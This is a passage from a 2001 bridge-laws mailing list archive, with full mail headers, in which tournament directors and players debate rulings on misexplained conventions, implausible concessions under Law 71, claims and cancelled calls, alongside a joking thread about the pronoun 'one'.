responder will *always* either >pass or bid 3H, 3NT, 4H, or 4NT. For these pairs there is no question that >1NT-2D-2H-3D and 1NT-2D-3D-3H mean "he forgot the system." Some of them >have forgotten and used these sequences so many times they gape in >surprise at me when I have this auction and turn up with a strong red >2-suiter. There's never been any question of adjusting their scores for >passing the escape bid. Yet called to a stranger's table to make a ruling, >it would be very hard to convince me to allow 3D to be passed in the first >sequence. As a TD I am supposed to make use of all the facts I have at my >disposal to make the best ruling - but it bothers me that how well I know >a pair can affect my decision.) AG : if it really happens so often, there is an infraction. Guess what ... Misexplanation ! This pair obviously have an agreement that 2D means 'either hearts, or weak with diamonds, if followed by 3D'. They don't explain it as such. Asses penalties as appropriate. As for the bothering -yes, it sounds like a problem, but you are allowed to use your knowledge of a pair's habits ; for example, when deciding what 'most of their pairs would do', you have to take a position as to that pair's level, much esaier of course when you know them. One TD once ruled that 'for Mr Gottcheiner, taking 5 seconds before making his call is surely es long as for anybody else to take 10 seconds, so he duly allowed for the stop card'. A. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 22:45:21 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0IBjB522954 for bridge-laws-outgoing; Thu, 18 Jan 2001 22:45:11 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from hotmail.com (f55.law7.hotmail.com [216.33.237.55]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0IBj5t22950 for ; Thu, 18 Jan 2001 22:45:06 +1100 (EST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Thu, 18 Jan 2001 03:44:57 -0800 Received: from 192.160.109.219 by lw7fd.law7.hotmail.msn.com with HTTP; Thu, 18 Jan 2001 11:44:57 GMT X-Originating-IP: [192.160.109.219] From: "Norman Scorbie" To: bridge-laws@rgb.anu.edu.au Subject: [BLML] We, one, and The Princess Royal's dilemma... Date: Thu, 18 Jan 2001 11:44:57 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 18 Jan 2001 11:44:57.0767 (UTC) FILETIME=[15128B70:01C08144] Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk >From: "Marvin L. French" >Reply-To: "Marvin L. French" >To: >Subject: Re: [BLML] Bad Language >Date: Wed, 17 Jan 2001 20:53:34 -0800 > >From: "Robert E. Harris" > > > Theodore Kennard, a chemist, brother of E. H. Kennard (physicist) and > > father of one of my wife's good friends, always spoke in the first >person > > as "One ..." > > I always found it amazing to hear him. I suppose his wife (also a >chemist) > > did not find it so surprising. > > >Just last night I watched an old interview with Alfred Hitchcock, in >which he sometimes used "I" and sometimes "one." Evidently his >Americanization was not complete. > >Marv > > > > >From: "David Stevenson" > > > > > >> Marvin L. French writes > > >> > > >> >We have to recognize that England and the U. S. are too far apart, > > >> >geographically and culturally, to expect them to have a completely > > >> >common language. It offends my ear/eye to hear/read the English >"one" > > >> >used for "I," as in "One enjoyed one's trip to the continent last > > >> >year," but I suppose the British Davids find it perfectly >acceptable. > > >> > > >> Certainly not. That's French. > > >> > > >I remember Princess Anne using "one" in this way on the telly. >Perhaps a > > >middle path between the royal "we" and the "I" of commoners? I >believe > > >that some columnists use "one" as first person also, if not using >"we" > > >or "the present writer" or "your reviewer," all pretty ridiculous. > > > > > >Marv > > >San Diego, CA, USA > > > "One" isn't commonly used in England as a substitute for "I". It's a more proper alternative for the non-specific "you". Example: "You shouldn't revoke deliberately" doesn't mean Marv shouldn't revoke deliberately, it means that revoking deliberately is wrong. Rather than use reflexives, which can become cumbersome, a fictitious person "One" is activated. This has become, commonly, "you". Princess Anne was right if she used "one" in that sense, wrong if she meant it to refer to herself. One sympathises, however. Royals aren't supposed to use the first person singular, but the Royal "we" would have sounded insufferably pompous in a TV interview, so she chose, I assume, what she thought was some sort of middle ground. _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 22:56:01 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0IBtlg23266 for bridge-laws-outgoing; Thu, 18 Jan 2001 22:55:47 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from resu1.ulb.ac.be (resu1.ulb.ac.be [164.15.59.200]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0IBtet23262 for ; Thu, 18 Jan 2001 22:55:41 +1100 (EST) Received: from mach.vub.ac.be (mach.ulb.ac.be [164.15.128.3]) by resu1.ulb.ac.be (8.8.8/3.17.0.ap (resu)) id MAA25563; Thu, 18 Jan 2001 12:51:16 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id MAA28674; Thu, 18 Jan 2001 12:55:13 +0100 (MET) for Message-Id: <3.0.6.32.20010118130731.0087a370@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Thu, 18 Jan 2001 13:07:31 +0100 To: blml@farebrother.cx, bridge-laws@rgb.anu.edu.au From: alain gottcheiner Subject: Re: [BLML] Agreements over unasked conventions? In-Reply-To: <200101172248.RAA04115@calum.csclub.uwaterloo.ca> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 17:48 17/01/01 -0500, Michael Farebrother wrote: > >The following auction occurred at our local Swiss Teams last Sunday: > >Game All, Dealer N. > > N E S >1NT(1) 2H!(2) 3H!(3) (1) 15-17, (2,3) see below > >West asks about the Alert of 3H. > >Three Questions: > >1) North explains it as Stayman for Spades without a stopper. West >asks, "Really?" (2H shows 5+ spades). AG : West sohouldn't do that (communication during the bidding is disallowed). N/S are allowed to play that 3H shows spades after a spade-showing bid, aren't they ? (there is no law against silly conventions) >2) North asks what the Alert of 2H meant (in order to explain 3H >correctly), and South says "2H was Alerted?" (Again, 2H shows >5+ spades). AG : South shouldn't do that. Same story. Clear UI in this case. North should explain what the 3H bid means in this case (ie if 2H showed spades). Playing lebensohl, the explanation is 'natural and forcing'. >3) As in 2), but now 2H shows 5+hearts and a 4+card minor suit. AG : North should explain what the 3H bid means in this case (Styaman, i suppose). I suppose Herman will speak of 74B1, he always does. But what about using alert cards rather than vocal alerts ? >One final question: what if noone asked, N-S get to 3NT, and the >Director is called when dummy comes down? (E-W CCs clearly state that 2H >over a strong NT directly shows spades, and N-S CCs clearly state that >Lebensohl is employed). AG : what do N/S use vs Transfer bids ? It could be different (it is, in my system : 3H is a limit bid in H). If nothing is specified, I suppose it's 'system on', thus lebensohl, and one should check whether the explanation matches lebensohl (here, 3H = natural & forcing vs 2H meaning spades). If it does, and if South misbid because he didn't notice the alert, there is a misbid, and no misinformation. A. > >Michael. >-- >======================================================================== >(Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with >"(un)subscribe bridge-laws" or just "help" in the BODY of the message. >A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ > > -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 23:33:48 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0ICXKG23289 for bridge-laws-outgoing; Thu, 18 Jan 2001 23:33:20 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mail.cswnet.com (mail.cswnet.com [209.136.192.23]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0ICXDt23285 for ; Thu, 18 Jan 2001 23:33:14 +1100 (EST) Received: from kay (ashsv1-13.cswnet.com [209.136.193.13]) by mail.cswnet.com (Postfix) with SMTP id 4B7FF5D216; Thu, 18 Jan 2001 06:33:08 -0600 (CST) Message-ID: <003f01c0814b$231e6a20$0dc188d1@kay> From: "Nelson/Kay Ford" To: "Norman Scorbie" , References: Subject: Re: [BLML] We, one, and The Princess Royal's dilemma... Date: Thu, 18 Jan 2001 06:35:26 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk It is also correct to use "one" for first-personal singular if you are a robot. For proof, I offer the movie: "Bicentennial Man". One is pleased to be of service. Nelson Ford ----- Original Message ----- From: "Norman Scorbie" To: Sent: Thursday, January 18, 2001 11:44 AM Subject: [BLML] We, one, and The Princess Royal's dilemma... > >From: "Marvin L. French" > >Reply-To: "Marvin L. French" > >To: > >Subject: Re: [BLML] Bad Language > >Date: Wed, 17 Jan 2001 20:53:34 -0800 > > > >From: "Robert E. Harris" > > > > > Theodore Kennard, a chemist, brother of E. H. Kennard (physicist) and > > > father of one of my wife's good friends, always spoke in the first > >person > > > as "One ..." > > > I always found it amazing to hear him. I suppose his wife (also a > >chemist) > > > did not find it so surprising. > > > > >Just last night I watched an old interview with Alfred Hitchcock, in > >which he sometimes used "I" and sometimes "one." Evidently his > >Americanization was not complete. > > > >Marv > > > > > > >From: "David Stevenson" > > > > > > > >> Marvin L. French writes > > > >> > > > >> >We have to recognize that England and the U. S. are too far apart, > > > >> >geographically and culturally, to expect them to have a completely > > > >> >common language. It offends my ear/eye to hear/read the English > >"one" > > > >> >used for "I," as in "One enjoyed one's trip to the continent last > > > >> >year," but I suppose the British Davids find it perfectly > >acceptable. > > > >> > > > >> Certainly not. That's French. > > > >> > > > >I remember Princess Anne using "one" in this way on the telly. > >Perhaps a > > > >middle path between the royal "we" and the "I" of commoners? I > >believe > > > >that some columnists use "one" as first person also, if not using > >"we" > > > >or "the present writer" or "your reviewer," all pretty ridiculous. > > > > > > > >Marv > > > >San Diego, CA, USA > > > > > "One" isn't commonly used in England as a substitute for "I". It's a more > proper alternative for the non-specific "you". Example: "You shouldn't > revoke deliberately" doesn't mean Marv shouldn't revoke deliberately, it > means that revoking deliberately is wrong. Rather than use reflexives, which > can become cumbersome, a fictitious person "One" is activated. This has > become, commonly, "you". Princess Anne was right if she used "one" in that > sense, wrong if she meant it to refer to herself. One sympathises, however. > Royals aren't supposed to use the first person singular, but the Royal "we" > would have sounded insufferably pompous in a TV interview, so she chose, I > assume, what she thought was some sort of middle ground. > _________________________________________________________________ > Get your FREE download of MSN Explorer at http://explorer.msn.com > > -- > ======================================================================== > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ > -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 23:59:45 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0ICxUV23307 for bridge-laws-outgoing; Thu, 18 Jan 2001 23:59:30 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from alpha.netvision.net.il (alpha.netvision.net.il [194.90.1.13]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0ICxMt23303 for ; Thu, 18 Jan 2001 23:59:23 +1100 (EST) Received: from eitan (gcon1-p41.nt.netvision.net.il [62.0.170.41]) by alpha.netvision.net.il (8.9.3/8.8.6) with SMTP id OAA13862 for ; Thu, 18 Jan 2001 14:59:14 +0200 (IST) Message-Id: <3.0.5.32.20010118145857.00875e90@mail.netvision.net.il> X-Sender: moranl@mail.netvision.net.il (Unverified) X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32) Date: Thu, 18 Jan 2001 14:58:57 +0200 To: bridge-laws@rgb.anu.edu.au From: Eitan Levy Subject: [BLML] 1997 changes to laws, was Law 71: Concession cancelled In-Reply-To: <3.0.6.32.20010117103947.007adb10@ux1.cts.eiu.edu> References: <006b01c0809d$a7528dc0$5713f7a5@oemcomputer> <67378DEA146DD21194C20000F87B08BA01B8B77D@fdwag002s.fd.agro.nl> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk According to my notes, the change/clarification was made by the Laws Committee (in Hammamet in 1997, I think). It was communicated to BLML and I remember there was some discussion on it, ending with something like, _In other words should we delete the second sentence?_ and Grattan(?) or Ton (?) answering, _Yes, in effect the second sentence is deleted_. The official explanation given at the time was: quote ..The director is to cancel an implausible concession, as defined in Law 71C, at any time within the Law 79C correction period... unquote. There were two other changes made at the same time, and you might want to check if you have these: 1. Definitions : Convention. An asterix was added at the end of (or in the last denomination named *), and the footnote reads: * the denomination in which the contract would be played were all the players to pass following the call in question. The explanation for this was: "the parenthesis applies when the main text is not applicable, i.e. in cases of "pass", "double" and "redouble"." 2. LAW 17D The asterix was moved from _.........normally*_ to _......any significant way from his cancelled call *.__ Maybe Herman can look in his (no doubt) well-ordered archives and come up with the original BLML postings. Eitan Levy > > My 1997 copy of the laws [ACBL version] has the sentence printed, >but I have drawn a line through the text from "Until" through "ends". >Obviously, then there was some pronouncement on this List telling me that >this part of the sentence was no longer applicable, and this was long >enough ago that I don't remember it. [The word must have come from >this List, because I wouldn't have actually deleted a sentence on the >word of anyone lacking authority, and I know no official notice came from >the ACBL for me to do it. It must have been Grattan or Ton or a report >from the minutes at Lille or someplace else.] > > -Grant Sterling >-- >======================================================================== >(Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with >"(un)subscribe bridge-laws" or just "help" in the BODY of the message. >A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ > > -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 00:00:08 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0ID03q23323 for bridge-laws-outgoing; Fri, 19 Jan 2001 00:00:03 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from stmpy-2.cais.net (stmpy-2.cais.net [205.252.14.72]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0ICxut23315 for ; Thu, 18 Jan 2001 23:59:57 +1100 (EST) Received: from elandau.cais.com (207-176-64-97.dup.cais.net [207.176.64.97]) by stmpy-2.cais.net (8.11.1/8.11.1) with ESMTP id f0ICxqB84761 for ; Thu, 18 Jan 2001 07:59:52 -0500 (EST) Message-Id: <4.3.2.7.1.20010118074438.00b1cb20@127.0.0.1> X-Sender: elandau/pop.cais.com@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Thu, 18 Jan 2001 08:01:27 -0500 To: Bridge Laws Discussion List From: Eric Landau Subject: Re: TR: [BLML] Law 71: Concession cancelled In-Reply-To: References: <00cf01c08040$828fd360$56991e18@san.rr.com> <01011519525801.00176@psa836> <00cf01c08040$828fd360$56991e18@san.rr.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 01:07 PM 1/17/01, David wrote: >Marvin L. French writes > >David Stevenson wrote: > > > >> >On Mon, 15 Jan 2001, David Stevenson wrote: > >> > >> >> >71C. Implausible Concession > >> >> > if a player has conceded a trick that cannot be lost by > >> >> > any normal play of the remaining cards. Until the > >> >> > conceding side makes a call on a subsequent board, or > >> >> > until the round ends, the Director shall cancel the > >> >> > concession of a trick that could not have been lost > >> >> > by any normal play of the remaining cards. > >> >> > >> >> The second sentence has not been deleted. However, it has been > >> >> realised that it is superfluous, and it is acceptable to treat this > >Law > >> >> _as though_ it had been deleted. > >> >> > >>I tried to argue at one > >> time as you said, based on the idea that it was not logical to include > >> the second sentence otherwise, and it was decided that the second > >> sentence was superfluous, and had been left in accidentally when other > >> changes were made to the Law. > > > >The second sentence is not superfluous, which means adding nothing to > >the first sentence. It is a contradiction of the first sentence, > >carrying a different meaning. Let's just say it's a goof, a fossil that > >should have been removed when L71 was recast. > > It *is* superfluous, it is not contradictory. > > The second sentence allows a concession to be cancelled if a trick >could not have been lost by any normal play of the cards, and gives a >time limit. The first sentence allows a concession to be cancelled if a >trick could not have been lost by any normal play of the cards, but >gives no time limit. So any concession allowed by the second sentence >is always allowed by the first sentence, and also concessions outside >the time limit are allowed. Thus the second sentence is superfluous. The first sentence appears to render not only the second sentence superfluous, as David says, but L71A as well. With the time limit set by the first paragraph of L71 now applicable to all of L71C as well as L71A, any concession which could be cancelled under L71A can be cancelled under L71C: a trick which can't be lost by any legal play can't be lost by any normal play. On first reading it seems as though only the second part of L71A is redundant to L71C, but I have always read the first part as being redundant to the second part anyhow: a trick already won cannot be lost by any legal play of the remaining cards. Eric Landau elandau@cais.com APL Solutions, Inc. elandau@acm.org 1107 Dale Drive (301) 589-4621 Silver Spring MD 20910-1607 Fax (301) 589-4618 -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 00:22:58 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0IDMks23341 for bridge-laws-outgoing; Fri, 19 Jan 2001 00:22:46 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from hotmail.com (f214.law7.hotmail.com [216.33.237.214]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0IDMet23337 for ; Fri, 19 Jan 2001 00:22:41 +1100 (EST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Thu, 18 Jan 2001 05:22:32 -0800 Received: from 192.160.109.219 by lw7fd.law7.hotmail.msn.com with HTTP; Thu, 18 Jan 2001 13:22:32 GMT X-Originating-IP: [192.160.109.219] From: "Norman Scorbie" To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] We, one, and The Princess Royal's dilemma... Date: Thu, 18 Jan 2001 13:22:32 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 18 Jan 2001 13:22:32.0514 (UTC) FILETIME=[B6C60A20:01C08151] Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk >From: "Nelson/Kay Ford" >To: "Norman Scorbie" , > >Subject: Re: [BLML] We, one, and The Princess Royal's dilemma... >Date: Thu, 18 Jan 2001 06:35:26 -0600 > >It is also correct to use "one" for first-personal singular if >you are a robot. For proof, I offer the movie: "Bicentennial >Man". > >One is pleased to be of service. > >Nelson Ford > According to other Robin Williams movies, it is also correct to: -Wear a red nose if you are a doctor treating children suffering from cancer. -Become best friends with a fairy called Tinkerbell without telling your wife. -Commit suicide in order to be with your dead wife. -Live in a board game. -Lie to your friends in the Polish ghetto about how well the war is going. -Have your gay lover dress up as a woman to fool your son's prospective father-in-law into thinking you're straight. -Dress up as a woman and adopt an unconvincing Scottish accent in order to spend quality time with your children. -Encorage pupils in your chair to stand on their desks and shout bits of Walt Whitman at you. -Cure Robert DeNiro's sleeping sickness. -Adopt a child with the unlikely name of Swee'Pea, despite being unmarried and having no visible means of support. So, this is our role model, is it? _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 00:35:53 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0IDZFo23354 for bridge-laws-outgoing; Fri, 19 Jan 2001 00:35:15 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from stmpy-5.cais.net (stmpy-5.cais.net [205.252.14.75]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0IDZ9t23350 for ; Fri, 19 Jan 2001 00:35:09 +1100 (EST) Received: from elandau.cais.com (207-176-64-97.dup.cais.net [207.176.64.97]) by stmpy-5.cais.net (8.11.1/8.11.1) with ESMTP id f0IDZ5U63398 for ; Thu, 18 Jan 2001 08:35:05 -0500 (EST) Message-Id: <4.3.2.7.1.20010118082538.00ab0d10@127.0.0.1> X-Sender: elandau/pop.cais.com@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Thu, 18 Jan 2001 08:36:40 -0500 To: Bridge Laws Discussion List From: Eric Landau Subject: Re: [BLML] Claim? In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 07:43 PM 1/17/01, David wrote: > Declarer looks at dummy, and comments: > > "Oh dear! We should be in slam - we are going to make twelve tricks!" > > Has he claimed? Well, he has made a literal "statement to the effect that [he] will win a specific number of tricks", but in real life such statements are ambiguous -- did he intend "we are going to make twelve tricks" as a statement of fact or as a statement of probabilistic expectation? The answer lies in his intent when he said it. His intent will surely be obvious. Did he show his cards, or did he attempt to continue play? If he tried to continue play, but an opponent called the TD asserting that based on the exact wording of his statement he had claimed, I would tell the BL that he was being ridiculous, and warn him not to bother me with such nonsense again. Eric Landau elandau@cais.com APL Solutions, Inc. elandau@acm.org 1107 Dale Drive (301) 589-4621 Silver Spring MD 20910-1607 Fax (301) 589-4618 -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 01:58:15 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0IEvMh03908 for bridge-laws-outgoing; Fri, 19 Jan 2001 01:57:22 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-10.mail.demon.net (finch-post-10.mail.demon.net [194.217.242.38]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0IEvGt03871 for ; Fri, 19 Jan 2001 01:57:16 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by finch-post-10.mail.demon.net with smtp (Exim 2.12 #1) id 14JGUt-0003YX-0A for bridge-laws@rgb.anu.edu.au; Thu, 18 Jan 2001 14:57:07 +0000 Message-ID: Date: Thu, 18 Jan 2001 01:47:10 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Let's get back to the easy stuff References: In-Reply-To: MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Todd Zimnoch writes >>From: David Stevenson >> This is based on your knowledge that you opened 1S OOT, and then >>withdrew that 1S bid. **But L16C2 says that the 1S is unauthorised to >>your _side_, so the 1S bid is unauthorised information to you.** >> >> If you rebid the spades, and do not mention the hearts, do we adjust >>the score because bidding the hearts is an LA, as mentioned in L16C? > > Law 29B -- call out of rotation is cancelled, not withdrawn. You do >not get to substitute your bid; the bid reverts back to the correct person >in order. L16C requires that the call/play has been withdrawn and >substituted. L16C does not apply, but rather L16A. The cancelled 1S bid is >UI to your partner, but not to yourself. An interesting idea, but I believe that a cancelled call is withdrawn. I am sure that when a call is cancelled we always use L16C. Otherwise you would find it impossible to work out what the NOs would do about it. -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 02:46:36 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0IFk7w21650 for bridge-laws-outgoing; Fri, 19 Jan 2001 02:46:07 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from freenet.carleton.ca (freenet1.carleton.ca [134.117.136.20]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0IFk0t21614 for ; Fri, 19 Jan 2001 02:46:00 +1100 (EST) Received: from freenet10.carleton.ca (freenet10 [134.117.136.30]) by freenet.carleton.ca (8.9.3+Sun/8.9.3/NCF_f1_v3.00) with ESMTP id KAA06943 for ; Thu, 18 Jan 2001 10:45:51 -0500 (EST) Received: (ac342@localhost) by freenet10.carleton.ca (8.9.3+Sun/NCF-Sun-Client) id KAA23986; Thu, 18 Jan 2001 10:45:50 -0500 (EST) Date: Thu, 18 Jan 2001 10:45:50 -0500 (EST) Message-Id: <200101181545.KAA23986@freenet10.carleton.ca> From: ac342@freenet.carleton.ca (A. L. Edwards) To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] Claim? Reply-To: ac342@freenet.carleton.ca Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > > > Declarer looks at dummy, and comments: > > "Oh dear! We should be in slam - we are going to make twelve tricks!" > > Has he claimed? > >-- >David Stevenson Liverpool, England, UK > > For help in rulings see the International Bridge Laws Forum > at http://blakjak.com/iblf.htm No, despite L68(a). Declarer is talking to *partner*, not telling the opps that he's taking any # of tricks. However, such a statement is improper: L73(f)2, and L74(a)2. Tony (aka ac342) -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 02:53:50 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0IFrgu24348 for bridge-laws-outgoing; Fri, 19 Jan 2001 02:53:42 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from resu1.ulb.ac.be (resu1.ulb.ac.be [164.15.59.200]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0IFrYt24308 for ; Fri, 19 Jan 2001 02:53:35 +1100 (EST) Received: from mach.vub.ac.be (mach.ulb.ac.be [164.15.128.3]) by resu1.ulb.ac.be (8.8.8/3.17.0.ap (resu)) id QAA09631; Thu, 18 Jan 2001 16:49:24 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id QAA25132; Thu, 18 Jan 2001 16:53:20 +0100 (MET) for Message-Id: <3.0.6.32.20010118170539.0082c6a0@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Thu, 18 Jan 2001 17:05:39 +0100 To: "Norman Scorbie" , bridge-laws@rgb.anu.edu.au From: alain gottcheiner Subject: Re: [BLML] We, one, and The Princess Royal's dilemma... In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 11:44 18/01/01, Norman Scorbie wrote: >>"one" >> > >> >used for "I," as in "One enjoyed one's trip to the continent last >> > >> >year," but I suppose the British Davids find it perfectly >>acceptable. >> > >> >> > >> Certainly not. That's French. AG : it is not. French uses 'on' (= one) only to replace 'nous' (= we), and it's felt as casual. A. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 19 03:22:01 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0IGLRC04246 for bridge-laws-outgoing; Fri, 19 Jan 2001 03:21:27 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from johnson.mail.mindspring.net (johnson.mail.mindspring.net [207.69.200.177]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0IGLHt04192 